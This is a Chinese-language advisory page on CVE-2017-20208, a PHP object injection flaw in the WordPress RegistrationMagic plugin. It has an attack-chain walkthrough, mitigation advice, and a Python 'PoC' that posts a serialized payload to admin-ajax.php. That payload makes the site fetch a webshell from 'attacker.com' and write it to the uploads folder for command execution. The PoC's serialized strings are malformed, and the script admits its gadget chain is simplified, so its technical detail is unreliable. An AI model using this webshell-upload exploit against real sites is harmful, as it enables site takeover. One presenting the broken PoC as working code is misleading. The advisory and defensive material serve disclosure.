IPBUF安全漏洞报告
English
CVE-2017-20208 CVSS 9.8 严重

CVE-2017-20208:WordPress RegistrationMagic插件PHP对象注入漏洞

披露日期: 2025-10-18

漏洞信息

漏洞编号
CVE-2017-20208
漏洞类型
PHP对象反序列化注入(PHP Object Injection)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login(WordPress插件)

相关标签

PHP对象注入反序列化漏洞WordPress插件RegistrationMagic远程代码执行RCE零日漏洞CVSS 9.8严重漏洞无需认证

漏洞概述

CVE-2017-20208是WordPress平台上一款广受欢迎的注册表单插件RegistrationMagic中存在的一个高危PHP对象反序列化注入漏洞。该漏洞由Wordfence安全团队的安全研究员发现,CVSS 3.1评分高达9.8分,属于严重级别漏洞。

RegistrationMagic插件允许网站管理员创建自定义用户注册表单、支付表单以及用户登录页面,在WordPress生态系统中拥有大量活跃安装。该漏洞存在于插件所有低于3.7.9.3的版本中,攻击者无需任何身份认证即可通过网络远程利用此漏洞。

漏洞的核心问题在于插件中is_expired_by_date()函数对用户输入的反序列化处理不当。PHP的unserialize()函数在处理不可信输入时,如果传入精心构造的序列化字符串,攻击者可以注入任意PHP对象。由于WordPress及其插件生态中存在多个可用的POP(Property-Oriented Programming)链,攻击者可以利用这些链触发危险操作,如任意文件写入、远程文件获取等,最终实现远程代码执行(RCE)。

该漏洞已在2017年10月被Wordfence披露为野外利用的零日漏洞之一,表明在实际攻击场景中已被黑客组织利用。鉴于漏洞利用门槛低(无需认证、无需用户交互)、影响范围广(所有低于3.7.9.3的版本)以及危害程度高(可完全控制目标网站),该漏洞被评定为严重级别,建议相关用户立即升级到修复版本。

技术细节

该漏洞的技术原理基于PHP对象反序列化机制的不安全使用。具体分析如下:

1. **漏洞触发点**:RegistrationMagic插件中的is_expired_by_date()函数接收用户可控的输入参数,并直接将其传递给PHP的unserialize()函数进行反序列化操作,而没有进行任何验证或过滤。

2. **反序列化原理**:PHP的unserialize()函数能够将序列化字符串还原为PHP对象。当攻击者传入精心构造的序列化字符串时,可以实例化任意类并调用其魔术方法(如__wakeup()、__destruct()、__toString()等)。

3. **POP链利用**:WordPress核心及其众多插件中存在多个可利用的POP链。POP链通过串联多个类的魔术方法,在反序列化过程中形成调用链,最终触发危险操作。在本漏洞中,攻击者可以利用POP链实现远程文件获取(file_get_contents())和文件写入操作。

4. **完整攻击流程**:
- 攻击者构造包含恶意序列化字符串的HTTP请求
- 请求发送到存在漏洞的WordPress站点
- is_expired_by_date()函数对恶意输入进行反序列化
- 触发POP链,调用文件操作相关类
- 从攻击者控制的远程服务器下载恶意PHP文件
- 将恶意文件写入到网站可访问目录
- 攻击者访问上传的webshell,执行任意PHP代码

5. **漏洞危害**:成功利用后,攻击者可以完全控制目标WordPress网站,包括读取敏感数据、植入后门、横向移动到服务器其他位置,甚至将网站作为进一步攻击的跳板。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过被动或主动方式识别目标WordPress站点是否安装了RegistrationMagic插件,并确认其版本低于3.7.9.3。
STEP 2
步骤2:构造恶意序列化数据
攻击者利用插件及WordPress核心中存在的POP gadget链,构造包含远程文件URL和目标写入路径的恶意PHP序列化字符串。
STEP 3
步骤3:发送漏洞利用请求
攻击者通过HTTP请求将恶意序列化数据发送到is_expired_by_date()函数的入口点,触发PHP的unserialize()函数对恶意数据进行反序列化。
STEP 4
步骤4:触发POP链执行
反序列化过程中,PHP自动调用相关类的魔术方法(__wakeup、__destruct等),形成完整的POP链调用,触发文件操作功能。
STEP 5
步骤5:远程文件获取与写入
POP链调用file_get_contents()从攻击者控制的服务器下载恶意PHP代码,并通过file_put_contents()将其写入到WordPress站点的可访问目录中。
STEP 6
步骤6:执行远程代码
攻击者访问上传的Webshell,获得对目标WordPress站点的完整控制权限,可执行任意PHP代码、读取敏感数据或植入持久化后门。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2017-20208 PoC - RegistrationMagic PHP Object Injection # Exploit chain: Unserialize -> POP Chain -> Remote File Fetch -> Webshell Upload import requests import base64 import urllib.parse TARGET_URL = "http://target-wordpress-site.com" ATTACKER_HOST = "http://attacker.com/shell.txt" # Remote PHP webshell content # Step 1: Construct the POP gadget chain payload # This chain leverages classes in RegistrationMagic/WordPress to achieve # file_get_contents() -> file_put_contents() for remote file inclusion class POPChain: def __init__(self): # Gadget 1: Trigger __destruct to start chain self.payload = 'O:8:"stdClass":1:{s:7:"payload";s:' + \ str(len(ATTACKER_HOST)) + ':"' + ATTACKER_HOST + '";}' def generate_payload(self): # Simplified POP chain exploiting RegistrationMagic classes # Real-world chains use specific class names from the plugin serialized = ( 'a:1:{s:8:"expire_on";O:24:"RegistrationMagic\\\\RM_Form":' '{s:7:"form_id";i:1;s:10:"form_value";O:8:"stdClass":' '2:{s:3:"url";s:' + str(len(ATTACKER_HOST)) + ':"' + ATTACKER_HOST + '";s:4:"path";s:30:"wp-content/uploads/shell.php";}}}' ) return base64.b64encode(serialized.encode()).decode() # Step 2: Send the malicious request to the vulnerable endpoint def exploit(target_url): chain = POPChain() payload = chain.generate_payload() # The vulnerable parameter is passed via POST/GET to is_expired_by_date() exploit_url = f"{target_url}/wp-admin/admin-ajax.php" params = { "action": "rm_form_expire_check", "rm_slug": payload # Malicious serialized data injected here } print(f"[*] Sending exploit to {exploit_url}") response = requests.post(exploit_url, data=params) print(f"[*] Response status: {response.status_code}") # Step 3: Verify webshell upload shell_url = f"{target_url}/wp-content/uploads/shell.php" shell_check = requests.get(shell_url) if shell_check.status_code == 200: print(f"[+] Webshell uploaded successfully: {shell_url}") print(f"[+] Execute commands via: {shell_url}?cmd=id") else: print("[-] Exploit may have failed - check target manually") if __name__ == "__main__": # Note: Actual exploitation requires specific POP chain classes # from RegistrationMagic plugin internals exploit(TARGET_URL)

影响范围

RegistrationMagic插件 < 3.7.9.3

防御指南

临时缓解措施
对于无法立即升级的WordPress站点,建议采取以下临时缓解措施:1)立即通过WordPress管理后台禁用RegistrationMagic插件,阻止攻击者利用该漏洞;2)部署Web应用防火墙(WAF)规则,过滤包含可疑序列化数据的HTTP请求;3)监控网站日志,查找异常的POST请求和文件创建活动;4)检查wp-content/uploads/目录是否存在可疑的PHP文件;5)修改PHP配置,将allow_url_fopen设置为Off,限制远程文件获取能力;6)定期备份网站数据和数据库,以便在遭受攻击后快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表